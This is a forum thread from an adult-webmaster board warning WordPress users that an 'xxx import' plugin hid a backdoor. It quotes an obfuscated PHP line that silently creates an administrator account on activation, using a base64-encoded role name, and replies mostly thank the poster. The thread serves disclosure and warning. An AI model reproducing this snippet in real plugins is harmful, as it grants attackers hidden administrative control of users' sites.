Business Warning to all wordpress users using the xxx import plugin - GoFuckYourself.com

fris · 04-02-2017, 07:59 AM

I reported it yesterday, and has been since removed from wordpress.org

If any of you used it, please check your users on your system as the plugin does some evil base64 stuff to hide its true intensions.

On plugin activation, it creates an admin account

Code:

if(!username_exists($o0)&&!email_exists($a2)){$a3=wp_create_user($o0,$q1,$a2);$o0=new WP_User($a3);$o0->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));}}

the person who coded it was amk.network, which i cant find much of this person, so i dont know if they post here.

GFED · 04-02-2017, 09:22 AM

thanks for the heads up!

TheDynasty · 04-02-2017, 09:36 AM

Thanks for the heads up

asianseekerz · 04-02-2017, 09:36 AM

thanks for the info....

Colmike9 · 04-02-2017, 09:50 AM

Why is 'administrator' encoded in set_role? :p

Another reason why you should never use tools/themes/etc for WP that are 'designed' for adult site building.... There's no reason to not use regular WP tools or code it yourself.

freecartoonporn · 04-02-2017, 10:39 AM

Thanks for the heads up
.

rogueteens · 04-02-2017, 11:59 AM

never heard of it? What was it? a tube importer?

john1975 · 04-02-2017, 12:03 PM

Probably the CIA again...Wanting ez backdoor access...Realizing most adult webmasters don't have much of a nugget.

fris · 04-02-2017, 12:21 PM

Quote:

Originally Posted by rogueteens

never heard of it? What was it? a tube importer?

yes it was/is an importer, but one that has many eval statements, in it, which connects to multiple domains php (not tubes)

Bladewire · 04-02-2017, 01:23 PM

Thanks for the heads up

j3rkules · 04-02-2017, 02:02 PM

I do not use it, but thanks for the heads up anyways.

fris · 04-03-2017, 05:32 AM

if you want an import plugin, use wp-script.com its prob the best one out there.

PornDiscounts-V · 04-03-2017, 05:41 AM

You'd think wordpress would scan shit for this sort of thing.

armysmoke · 04-03-2017, 06:36 AM

Thank you for the heads up

just a punk · 04-03-2017, 07:44 AM

Quote:

Originally Posted by Colmike7

Another reason why you should never use tools/themes/etc for WP that are 'designed' for adult site building....

Why not? Just make sure you take it from a reliable source.

Quote:

Originally Posted by fris

if you want an import plugin, use wp-script.com its prob the best one out there.

Can it import XML, JSON and HTML sources of an arbitrary format/structure? ;)

Colmike9 · 04-03-2017, 09:20 AM

Quote:

Originally Posted by CyberSEO

Why not? Just make sure you take it from a reliable source.

I think my point was that you don't need anything that's "designed for adult". Just use regular tools and themes then add some porn..

Bladewire · 04-03-2017, 10:53 AM

BUMP

bns666 · 04-03-2017, 10:55 AM

never heard of it anyway, what could it import and from where?

romeo22 · 04-03-2017, 11:55 AM

Thanks for the warning i still use only several plugins ..

fris · 04-03-2017, 01:07 PM

Quote:

Originally Posted by vvvvv

You'd think wordpress would scan shit for this sort of thing.

with the plugin directory, they analyze the initial code, so if the code was fine, he could make changes to commit the changes.

with the theme directory its a bit different, each release has to go through the theme review team.

Bladewire · 04-04-2017, 08:00 PM

Thanks for the heads up

04-02-2017, 07:59 AM	#1
fris Too lazy to set a custom title Industry Role: Join Date: Aug 2002 Posts: 54,483	Warning to all wordpress users using the xxx import plugin I reported it yesterday, and has been since removed from wordpress.org If any of you used it, please check your users on your system as the plugin does some evil base64 stuff to hide its true intensions. On plugin activation, it creates an admin account Code: if(!username_exists($o0)&&!email_exists($a2)){$a3=wp_create_user($o0,$q1,$a2);$o0=new WP_User($a3);$o0->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));}} the person who coded it was amk.network, which i cant find much of this person, so i dont know if they post here. __________________ Since 1999: 69 Adult Industry awards for Best Hosting Company and professional excellence. my contact: fris at fris.net

04-02-2017, 09:22 AM	#2
GFED Confirmed User Industry Role: Join Date: May 2002 Posts: 8,098	thanks for the heads up! __________________ https://www.flow.page/savethechildren

04-02-2017, 09:36 AM	#3
TheDynasty See Signature Industry Role: Join Date: Apr 2016 Location: noneya Posts: 5,882	Thanks for the heads up __________________ Try out WP-SCRIPT The Best Tube Script

04-02-2017, 09:36 AM	#4
asianseekerz Confirmed User Join Date: Aug 2008 Posts: 1,609	thanks for the info.... __________________ LUSTY LIFES : Dad & Daughter Wild Adventures : Naughty Wild Sister Contact : ICQ : 372109 Email add: [email protected]

04-02-2017, 09:50 AM	#5
Colmike9 (>^_^)b Industry Role: Join Date: Dec 2011 Posts: 7,158	Why is 'administrator' encoded in set_role? :p Another reason why you should never use tools/themes/etc for WP that are 'designed' for adult site building.... There's no reason to not use regular WP tools or code it yourself. __________________ Join the BEST cam affiliate program on the internet! I've referred over $1.7mil in spending this past year, you should join in. I make a lot more money in the medical field in a lab now, fuck you guys. Don't ask me to come back, but do join Chaturbate in my sig, it still makes bank without me touching shit for years..

04-02-2017, 10:39 AM	#6
freecartoonporn Confirmed User Industry Role: Join Date: Jan 2012 Location: NC Posts: 7,681	Thanks for the heads up . __________________ SSD Cloud Server, VPS Server, Simple Cloud Hosting \| DigitalOcean

04-02-2017, 11:59 AM	#7
rogueteens So fucking bland Industry Role: Join Date: Jul 2006 Location: England Posts: 8,004	never heard of it? What was it? a tube importer? __________________ Free traffic and backlinks from one of the fastest growing adult pinsites on the net - SAUCY PICTURES! Easily my best performing webcam sponsor - CLICK HERE!!

04-02-2017, 12:03 PM	#8
john1975 Confirmed User Industry Role: Join Date: Dec 2009 Posts: 985	Probably the CIA again...Wanting ez backdoor access...Realizing most adult webmasters don't have much of a nugget.

04-02-2017, 01:23 PM	#10
Bladewire StraightBro Industry Role: Join Date: Aug 2003 Location: Monarch Beach, CA USA Posts: 56,232	Thanks for the heads up __________________ Skype: CallTomNow

04-02-2017, 02:02 PM	#11
j3rkules VIP Industry Role: Join Date: Jul 2013 Posts: 22,104	I do not use it, but thanks for the heads up anyways. __________________ How To Build A Porn Site And Make Money \| My Best $$$ Cam Sponsor 3 Top Adult Hosting Providers

04-03-2017, 05:32 AM	#12
fris Too lazy to set a custom title Industry Role: Join Date: Aug 2002 Posts: 54,483	if you want an import plugin, use wp-script.com its prob the best one out there. __________________ Since 1999: 69 Adult Industry awards for Best Hosting Company and professional excellence. my contact: fris at fris.net

04-03-2017, 05:41 AM	#13
PornDiscounts-V Confirmed User Industry Role: Join Date: Oct 2003 Location: L.A. Posts: 5,739	You'd think wordpress would scan shit for this sort of thing. __________________ Blog Posts - Contextual Links - Hardlinks on 600+ Blog Network * Handwritten * 180 C Class IPs * Permanent! * Many Niches! * Bulk Discounts! GFYPosts /at/ J2Media.net

04-03-2017, 06:36 AM	#14
armysmoke Confirmed User Industry Role: Join Date: Oct 2013 Posts: 2,605	Thank you for the heads up

04-03-2017, 10:53 AM	#17
Bladewire StraightBro Industry Role: Join Date: Aug 2003 Location: Monarch Beach, CA USA Posts: 56,232	BUMP

04-03-2017, 10:55 AM	#18
bns666 Confirmed Fetishist Industry Role: Join Date: Mar 2005 Location: Fetishland Posts: 11,472	never heard of it anyway, what could it import and from where? __________________ ⭐ CAM SODA ⭐ STRIPCHAT ⭐ ⭐ CHATURBATE ⭐ SKYPE SEX CAMS ⭐

04-03-2017, 11:55 AM	#19
romeo22 你自己去他媽的 Industry Role: Join Date: Mar 2008 Posts: 23,343	Thanks for the warning i still use only several plugins ..

04-04-2017, 08:00 PM	#21
Bladewire StraightBro Industry Role: Join Date: Aug 2003 Location: Monarch Beach, CA USA Posts: 56,232	Thanks for the heads up __________________ Skype: CallTomNow